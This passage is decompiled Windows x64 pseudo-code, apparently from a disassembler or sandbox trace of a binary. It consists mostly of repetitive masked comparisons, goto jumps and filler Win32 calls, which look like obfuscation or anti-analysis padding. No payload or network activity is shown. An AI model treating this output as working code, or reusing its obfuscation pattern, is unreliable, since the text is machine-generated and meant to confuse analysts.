				_t432 = E00007FF67FF6ED184484(_t1300);
				if (_t1202 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
				_t437 = E00007FF67FF6ED184484(_t1300);
				if (((_t432 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0xf >= 0) goto 0xed0f8bd1;
				_t1204 = ((_t437 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x50;
				if (_t1204 >= 0) goto 0xed0f8bf7;
				_t442 = E00007FF67FF6ED184484(_t1300);
				if (_t1204 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t442 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x00000050 < 0x00000000;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1206 = dil - 0x30;
				if (_t1206 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t449 = E00007FF67FF6ED184484(_t1300);
				if (_t1206 >= 0) goto 0xed0f8c25;
				_t1207 = ((_t449 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x68;
				if (_t1207 < 0) goto 0xed0f8c4a;
				_t454 = E00007FF67FF6ED184484(_t1300);
				if (_t1207 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t459 = E00007FF67FF6ED184484(_t1300);
				if (((_t454 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t459 & 0x8000007f) - _t978 | 0xffffff80) + _t978 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1210 = dil - 0x1f;
				if (_t1210 < 0) goto 0xed0f8c65;
				_t466 = E00007FF67FF6ED184484(_t1300);
				if (_t1210 >= 0) goto 0xed0f8c91;
				_t1211 = ((_t466 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x62;
				 *0xed236f60 = 0 | _t1211 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t473 = E00007FF67FF6ED184484(_t1300);
				if (_t1211 >= 0) goto 0xed0f8cd6;
				_t1212 = ((_t473 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 8;
				if (_t1212 < 0) goto 0xed0f8cff;
				_t478 = E00007FF67FF6ED184484(_t1300);
				if (_t1212 >= 0) goto 0xed0f8cf2;
				_t1213 = ((_t478 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 8;
				 *0xed236f60 = 0 | _t1213 >= 0x00000000;
				dil = 7;
				_t483 = E00007FF67FF6ED184484(_t1300);
				if (_t1213 >= 0) goto 0xed0f8d15;
				_t1214 = ((_t483 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x1e;
				if (_t1214 <= 0) goto 0xed0f8d3b;
				_t488 = E00007FF67FF6ED184484(_t1300);
				if (_t1214 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t488 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x0000001e > 0x00000000;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1216 = dil - 0x14;
				if (_t1216 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t978;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t978;
				_t498 = E00007FF67FF6ED184484(_t1300);
				if (_t1216 >= 0) goto 0xed0f8d87;
				_t1217 = ((_t498 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x46;
				if (_t1217 >= 0) goto 0xed0f8dac;
				_t503 = E00007FF67FF6ED184484(_t1300);
				if (_t1217 >= 0) goto 0xed0f8d9c;
				_t1218 = ((_t503 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x46;
				 *0xed236f60 = 0 | _t1218 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t978;
				_t508 = E00007FF67FF6ED184484(_t1300);
				if (_t1218 >= 0) goto 0xed0f8dc2;
				_t1219 = ((_t508 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - _t978;
				if (_t1219 >= 0) goto 0xed0f8de3;
				_t513 = E00007FF67FF6ED184484(_t1300);
				if (_t1219 >= 0) goto 0xed0f8dd6;
				_t1220 = ((_t513 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - _t978;
				 *0xed236f60 = 0 | _t1220 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1220 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1220 < 0) goto 0xed0f8e21;
				_t1221 = dil - bpl;
				if (_t1221 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t525 = E00007FF67FF6ED184484(_t1300);
				if (_t1221 >= 0) goto 0xed0f8e54;
				if (((_t525 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1223 = dil - 0x60;
				if (_t1223 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1300);
				if (_t1223 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1223 != 0) goto 0xed0f8e94;
				if (_t1223 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t978;
				goto 0xed0f8ec0;
				_t535 = E00007FF67FF6ED184484(_t1300);
				if (_t1223 >= 0) goto 0xed0f8ea4;
				_t1224 = ((_t535 & 0x8000007f) - _t978 | 0xffffff80) + _t978;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1224 != 0) goto 0xed0f8eb8;
				if (_t1224 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t978;
				GetMessageExtraInfo();
				_t543 = E00007FF67FF6ED184484(_t1300);
				if (_t1224 >= 0) goto 0xed0f8ed6;
				if (((_t543 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t978;
				 *0xed236f60 = sil & 0xffffffff;
				_t1227 = sil - 0x34;
				if (_t1227 < 0) goto 0xed0f8edd;
				_t550 = E00007FF67FF6ED184484(_t1300);
				r14d = 0x8000007f;
				if (_t1227 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t555 = E00007FF67FF6ED184484(_t1300);
				r14d = 0x8000007f;
				if (((_t550 & r14d) - _t978 | 0xffffff80) + _t978 - 0x5d >= 0) goto 0xed0f8f42;
				_t558 = (_t555 & 0x8000007f) - _t978 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1230 = _t558 - 0x15;
				if (_t1230 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1300);
				if (_t1230 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1230 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1300);
				if (_t1230 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1230 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t978;
				_t571 = E00007FF67FF6ED184484(_t1300);
				if (_t1230 >= 0) goto 0xed0f8fb7;
				_t1231 = ((_t571 & r14d) - _t978 | 0xffffff80) + _t978 - 0x15;
				 *0xed236f60 = 0 | _t1231 == 0x00000000;
				dil = 0x5f;
				_t576 = E00007FF67FF6ED184484(_t1300);
				if (_t1231 >= 0) goto 0xed0f8fd9;
				_t1232 = ((_t576 & r14d) - _t978 | 0xffffff80) + _t978 - 0x27;
				if (_t1232 <= 0) goto 0xed0f8ffd;
				_t581 = E00007FF67FF6ED184484(_t1300);
				if (_t1232 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t581 & r14d) - _t978 | 0xffffff80) + _t978 - 0x00000027 > 0x00000000;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1234 = dil - 0x73;
				if (_t1234 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1300);
				if (_t1234 >= 0) goto 0xed0f9034;
				_t594 = E00007FF67FF6ED184484(_t1300);
				if (_t1234 >= 0) goto 0xed0f9045;
				dil = dil + _t978;
				 *0xed236f60 = 0 | ((_t594 & r14d) - _t978 | 0xffffff80) + _t978 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1237 = 0x52 + _t978 - 0x5b;
				if (_t1237 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1237 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1237 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t978;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1239 = r13b - 0x11;
				if (_t1239 < 0) goto 0xed0f90be;
				_t610 = E00007FF67FF6ED184484(_t1300);
				r13d = 0xffffff80;
				if (_t1239 >= 0) goto 0xed0f90e8;
				_t1240 = ((_t610 & r14d) - _t978 | r13d) + _t978 - 7;
				if (_t1240 >= 0) goto 0xed0f910e;
				_t615 = E00007FF67FF6ED184484(_t1300);
				if (_t1240 >= 0) goto 0xed0f90fe;
				_t1241 = ((_t615 & r14d) - _t978 | r13d) + _t978 - 7;
				 *0xed236f60 = 0 | _t1241 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1241 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1241 != 0) goto 0xed0f915f;
				if (_t1241 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1243 = 0x21 + _t978 - 0x33;
				if (_t1243 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t630 = E00007FF67FF6ED184484(_t1300);
				if (_t1243 >= 0) goto 0xed0f9198;
				if (((_t630 & r14d) - _t978 | r13d) + _t978 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t636 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t636 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1301, _a152, _t1312);
				 *0xed236f60 = 0x30;
				_t1247 = 0x30 + _t978 - sil;
				if (_t1247 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t978;
				GetForegroundWindow();
				_t640 = E00007FF67FF6ED184484(_t1300);
				if (_t1247 >= 0) goto 0xed0f921e;
				_t1248 = ((_t640 & r14d) - _t978 | r13d) + _t978 - 0x77;
				if (_t1248 <= 0) goto 0xed0f9242;
				_t645 = E00007FF67FF6ED184484(_t1300);
				if (_t1248 >= 0) goto 0xed0f9234;
				_t1249 = ((_t645 & r14d) - _t978 | r13d) + _t978 - 0x77;
				 *0xed236f60 = 0 | _t1249 > 0x00000000;
				GetDoubleClickTime();
				_t651 = E00007FF67FF6ED184484(_t1300);
				if (_t1249 >= 0) goto 0xed0f9259;
				_t1250 = ((_t651 & r14d) - _t978 | r13d) + _t978 - 0x7c;
				if (_t1250 <= 0) goto 0xed0f927d;
				_t656 = E00007FF67FF6ED184484(_t1300);
				if (_t1250 >= 0) goto 0xed0f926f;
				_t1251 = ((_t656 & r14d) - _t978 | r13d) + _t978 - 0x7c;
				 *0xed236f60 = 0 | _t1251 > 0x00000000;
				_t661 = E00007FF67FF6ED184484(_t1300);
				if (_t1251 >= 0) goto 0xed0f928e;
				_t1252 = ((_t661 & r14d) - _t978 | r13d) + _t978 - 0x6f;
				if (_t1252 >= 0) goto 0xed0f92b2;
				_t666 = E00007FF67FF6ED184484(_t1300);
				if (_t1252 >= 0) goto 0xed0f92a4;
				_t1253 = ((_t666 & r14d) - _t978 | r13d) + _t978 - 0x6f;
				 *0xed236f60 = 0 | _t1253 < 0x00000000;
				_t671 = E00007FF67FF6ED184484(_t1300);
				if (_t1253 >= 0) goto 0xed0f92c3;
				_t1254 = ((_t671 & r14d) - _t978 | r13d) + _t978 - 0x24;
				if (_t1254 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t677 = E00007FF67FF6ED184484(_t1300);
				if (_t1254 >= 0) goto 0xed0f92df;
				_t1255 = ((_t677 & r14d) - _t978 | r13d) + _t978 - 0x24;
				 *0xed236f60 = 0 | _t1255 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t1300);
				if (_t1255 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1255 <= 0) goto 0xed0f9398;
				_t688 = E00007FF67FF6ED184484(_t1300);
				if (_t1255 >= 0) goto 0xed0f9330;
				if (((_t688 & 0x8000007f) - _t978 | r13d) + _t978 - 0x4d <= 0) goto 0xed0f934c;
				_t1081 = r14b;
				 *0xed236f60 = _t1081 & 0x000000ff;
				_t1257 = _t1081 + _t978 - 0x28;
				if (_t1257 < 0) goto 0xed0f933c;
				_t694 = E00007FF67FF6ED184484(_t1300);
				if (_t1257 >= 0) goto 0xed0f935f;
				_t1258 = ((_t694 & 0x8000007f) - _t978 | r13d) + _t978 - 0x4d;
				 *0xed236f60 = 0 | _t1258 > 0x00000000;
				E00007FF67FF6ED184484(_t1300);
				if (_t1258 >= 0) goto 0xed0f937f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1258 > 0x00000000;
				goto 0xed0f93ed;
				_t707 = E00007FF67FF6ED184484(_t1300) & 0x8000007f;
				if (_t707 >= 0) goto 0xed0f93ad;
				_t1260 = (_t707 - _t978 | r13d) + _t978 - 0x64;
				if (_t1260 >= 0) goto 0xed0f93ba;
				GetTickCount();
				goto 0xed0f93ca;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0x62;
				_t712 = E00007FF67FF6ED184484(_t1300);
				if (_t1260 >= 0) goto 0xed0f93da;
				 *0xed236f60 = 0 | ((_t712 & 0x8000007f) - _t978 | r13d) + _t978 - 0x00000064 < 0x00000000;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x4a;
				if (0x4a + _t978 - 0x55 < 0) goto 0xed0f93f7;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x55 < 0) goto 0xed0f9407;
				r14b = 0x4f;
				IsZoomed(??);
				r14b = r14b + _t978;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x53 < 0) goto 0xed0f941d;
				 *0xed236f60 = 0x33;
				_t1265 = 0x33 + _t978 - sil;
				if (_t1265 < 0) goto 0xed0f943a;
				E00007FF67FF6ED184484(_t1300);
				if (_t1265 >= 0) goto 0xed0f945d;
				asm("movsd xmm6, [0x11070b]");
				r13d = 0x58;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1265 <= 0) goto 0xed0f94cf;
				_t1266 = r15b - 0x14;
				if (_t1266 >= 0) goto 0xed0f94cf;
				dil = r13b;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t729 = E00007FF67FF6ED184484(_t1300);
				if (_t1266 >= 0) goto 0xed0f94a2;
				if (((_t729 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x73 > 0) goto 0xed0f94ad;
				_t1268 = dil - 0x65;
				if (_t1268 < 0) goto 0xed0f9482;
				r15b = r15b + _t978;
				 *0xed236f60 = r15b & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1268 >= 0) goto 0xed0f946b;
				goto 0xed0f946b;
				E00007FF67FF6ED184484(_t1300);
				r15d = 0x8000007f;
				if (_t1268 >= 0) goto 0xed0f94ea;
				asm("movsd xmm6, [0x11069e]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1268 <= 0) goto 0xed0f952f;
				 *0xed1ee3f0();
				E00007FF67FF6ED184484(_t1300);
				if (_t1268 >= 0) goto 0xed0f9516;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1268 > 0x00000000;
				goto 0xed0f955d;
				E00007FF67FF6ED184484(_t1300);
				if (_t1268 >= 0) goto 0xed0f953f;
				_t758 = E00007FF67FF6ED184484(_t1300);
				if (_t1268 >= 0) goto 0xed0f954f;
				_t1269 = ((_t758 & r15d) - _t978 | 0xffffff80) + _t978 - 0x6c;
				 *0xed236f60 = 0 | _t1269 < 0x00000000;
				GetWindowTextLengthW(??);
				_t764 = E00007FF67FF6ED184484(_t1300);
				if (_t1269 >= 0) goto 0xed0f9575;
				_t1270 = ((_t764 & r15d) - _t978 | 0xffffff80) + _t978 - 0x24;
				if (_t1270 > 0) goto 0xed0f9598;
				_t769 = E00007FF67FF6ED184484(_t1300);
				if (_t1270 >= 0) goto 0xed0f958a;
				_t1271 = ((_t769 & r15d) - _t978 | 0xffffff80) + _t978 - 0x24;
				 *0xed236f60 = 0 | _t1271 <= 0x00000000;
				 *0xed236f60 = _t978;
				GetDesktopWindow();
				GetTopWindow(??);
				GetCommandLineW();
				GetTopWindow(??);
				GetMessageTime();
				 *0xed236f60 = _t978;
				E00007FF67FF6ED184484(_t1300);
				if (_t1271 >= 0) goto 0xed0f95d6;
				asm("movsd xmm6, [0x1103fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1300);
				if (_t1271 >= 0) goto 0xed0f95f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1271 > 0x00000000;
				GetSystemDefaultLangID();
				E00007FF67FF6ED184484(_t1300);
				if (_t1271 >= 0) goto 0xed0f9623;
				asm("movsd xmm6, [0x110445]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1271 != 0) goto 0xed0f9669;
				if (_t1271 != 0) goto 0xed0f9669;
				E00007FF67FF6ED184484(_t1300);
				if (_t1271 >= 0) goto 0xed0f964b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1271 != 0) goto 0xed0f965f;
				if (_t1271 != 0) goto 0xed0f965f;
				goto 0xed0f9661;
				 *0xed236f60 = 0;
				goto 0xed0f96ba;
				_t804 = E00007FF67FF6ED184484(_t1300);
				if (_t1271 >= 0) goto 0xed0f9679;
				if (((_t804 & r15d) - _t978 | 0xffffff80) + _t978 - 0x78 <= 0) goto 0xed0f96b4;
				_t1273 = sil - 0x43;
				if (_t1273 >= 0) goto 0xed0f96ae;
				E00007FF67FF6ED1EE3B8();
				sil = sil + _t978;
				 *0xed236f60 = sil & 0xffffffff;
				_t810 = E00007FF67FF6ED184484(_t1300);
				if (_t1273 >= 0) goto 0xed0f96a9;
				if (((_t810 & r15d) - _t978 | 0xffffff80) + _t978 - 0x78 > 0) goto 0xed0f967e;
				r13d = 0x58;
				 *0xed236f60 = _t978;
				 *0xed236f60 = 0x56;
				_t1275 = 0x56 + _t978 - 0x6a;
				if (_t1275 < 0) goto 0xed0f96bc;
				_t816 = E00007FF67FF6ED184484(_t1300);
				_t1137 = r15d;
				if (_t1275 >= 0) goto 0xed0f96e4;
				_t1276 = ((_t816 & r15d) - _t978 | 0xffffff80) + _t978 - 0x7f;
				if (_t1276 >= 0) goto 0xed0f9779;
				 *0xed1ee3d0();
				_t822 = E00007FF67FF6ED184484(_t1300);
				if (_t1276 >= 0) goto 0xed0f9704;
				_t1277 = ((_t822 & _t1137) - _t978 | 0xffffff80) + _t978 - 0x7f;
				 *0xed236f60 = 0 | _t1277 < 0x00000000;
				r15d = 0x5d;
				AnyPopup();
				 *0xed236f60 = _t978;
				_t828 = E00007FF67FF6ED184484(_t1300);
				if (_t1277 >= 0) goto 0xed0f9733;
				if (((_t828 & _t1137) - _t978 | 0xffffff80) + _t978 - 0x6a >= 0) goto 0xed0f980f;
				dil = 0x32;
				 *0xed1ee038();
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1279 = dil - 0x44;
				if (_t1279 < 0) goto 0xed0f973f;
				_t835 = E00007FF67FF6ED184484(_t1300);
				if (_t1279 >= 0) goto 0xed0f976c;
				_t1280 = ((_t835 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x6a;
				goto 0xed0f983a;
				E00007FF67FF6ED184484(_t1300);
				if (_t1280 >= 0) goto 0xed0f9788;
				asm("movsd xmm6, [0x1102d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1280 < 0) goto 0xed0f9712;
				dil = 0x1a;
				r15d = 0x5d;
				 *0xed236f60 = 0x17;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t846 = E00007FF67FF6ED184484(_t1300);
				if (_t1280 >= 0) goto 0xed0f97d4;
				if (((_t846 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - r15d > 0) goto 0xed0f97df;
				_t1282 = dil - 0x24;
				if (_t1282 < 0) goto 0xed0f97ab;
				E00007FF67FF6ED184484(_t1300);
				if (_t1282 >= 0) goto 0xed0f97f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1282 >= 0x00000000;
				goto 0xed0f9718;
				_t858 = E00007FF67FF6ED184484(_t1300);
				if (_t1282 >= 0) goto 0xed0f981e;
				_t1283 = ((_t858 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x30;
				if (_t1283 == 0) goto 0xed0f9840;
				_t863 = E00007FF67FF6ED184484(_t1300);
				if (_t1283 >= 0) goto 0xed0f9832;
				_t1284 = ((_t863 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x30;
				 *0xed236f60 = 0 | _t1284 != 0x00000000;
				_t868 = E00007FF67FF6ED184484(_t1300);
				if (_t1284 >= 0) goto 0xed0f984f;
				_t1285 = ((_t868 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x1a;
				if (_t1285 > 0) goto 0xed0f9877;
				 *0xed236f60 = _t978;
				_t873 = E00007FF67FF6ED184484(_t1300);
				if (_t1285 >= 0) goto 0xed0f9869;
				 *0xed236f60 = 0 | ((_t873 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x0000001a <= 0x00000000;
				 *0xed236f60 = 0x47;
				_t1287 = 0x47 + _t978 - 0x50;
				if (_t1287 < 0) goto 0xed0f9879;
				E00007FF67FF6ED184484(_t1300);
				if (_t1287 >= 0) goto 0xed0f9898;
				asm("movsd xmm6, [0x1101d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1287 != 0) goto 0xed0f98b0;
				if (_t1287 == 0) goto 0xed0f98db;
				E00007FF67FF6ED184484(_t1300);
				if (_t1287 >= 0) goto 0xed0f98bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1287 != 0) goto 0xed0f98d3;
				if (_t1287 != 0) goto 0xed0f98d3;
				goto 0xed0f98d5;
				 *0xed236f60 = _t978;
				E00007FF67FF6ED184484(_t1300);
				if (_t1287 >= 0) goto 0xed0f98ea;
				asm("movsd xmm6, [0x110306]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1287 < 0) goto 0xed0f9931;
				 *0xed1ee008();
				E00007FF67FF6ED184484(_t1300);
				if (_t1287 >= 0) goto 0xed0f9915;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1287 >= 0x00000000;
				goto 0xed0f99d6;
				_t904 = E00007FF67FF6ED184484(_t1300);
				if (_t1287 >= 0) goto 0xed0f9940;
				_t1288 = ((_t904 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x29;
				if (_t1288 != 0) goto 0xed0f997e;
				dil = 0x21;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t910 = E00007FF67FF6ED184484(_t1300);
				if (_t1288 >= 0) goto 0xed0f9967;
				if (((_t910 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x3d < 0) goto 0xed0f9972;
				_t1290 = dil - 0x35;
				if (_t1290 < 0) goto 0xed0f9948;
				E00007FF67FF6ED184484(_t1300);
				goto 0xed0f99b4;
				bpl = bpl + _t978;
				 *0xed236f60 = bpl & 0xffffffff;
				_t917 = E00007FF67FF6ED184484(_t1300);
				if (_t1290 >= 0) goto 0xed0f999a;
				if (((_t917 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x76 >= 0) goto 0xed0f99a5;
				_t1292 = bpl - 0x3a;
				if (_t1292 < 0) goto 0xed0f997e;
				 *0xed236f60 = 0;
				_t922 = E00007FF67FF6ED184484(_t1300);
				if (_t1292 >= 0) goto 0xed0f99be;
				_t1293 = ((_t922 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x29;
				 *0xed236f60 = 0 | _t1293 == 0x00000000;
				 *0xed236f60 = 0;
				GetCurrentProcessId();
				GetUserDefaultLangID();
				 *0xed236f60 = _t978;
				GetSystemDefaultLangID();
				_t930 = E00007FF67FF6ED184484(_t1300);
				if (_t1293 >= 0) goto 0xed0f99fd;
				_t1294 = ((_t930 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x63;
				if (_t1294 == 0) goto 0xed0f9a29;
				E00007FF67FF6ED1EE028();
				_t935 = E00007FF67FF6ED184484(_t1300);
				if (_t1294 >= 0) goto 0xed0f9a19;
				_t1295 = ((_t935 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x63;
				 *0xed236f60 = 0 | _t1295 != 0x00000000;
				goto 0xed0f9a7a;
				E00007FF67FF6ED184484(_t1300);
				if (_t1295 >= 0) goto 0xed0f9a38;
				asm("movsd xmm6, [0x110058]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1295 < 0) goto 0xed0f9a7a;
				 *0xed236f60 = _t978;
				E00007FF67FF6ED184484(_t1300);
				if (_t1295 >= 0) goto 0xed0f9a63;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1295 >= 0x00000000;
				GetTopWindow(??);
				r14b = 0x37;
				GetSystemDefaultLangID();
				r14b = r14b + _t978;
				 *0xed236f60 = r14b & 0xffffffff;
				_t1296 = r14b - 0x49;
				if (_t1296 < 0) goto 0xed0f9a85;
				 *0xed236f60 = _t978;
				 *0xed236f60 = _t978;
				E00007FF67FF6ED184484(_t1300);
				r14b = 0x23;
				if (_t1296 >= 0) goto 0xed0f9abc;
				asm("movsd xmm6, [0x110114]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1296 <= 0) goto 0xed0f9adc;
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t1300);
				if (_t1296 >= 0) goto 0xed0f9aeb;
				asm("movd xmm0, eax");
				bpl = 0x4a;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1296 > 0x00000000;
				E00007FF67FF6ED184484(_t1300);
				if (_t1296 >= 0) goto 0xed0f9b14;
				asm("movsd xmm6, [0x10fea4]");
				goto 0xed0f9be9;
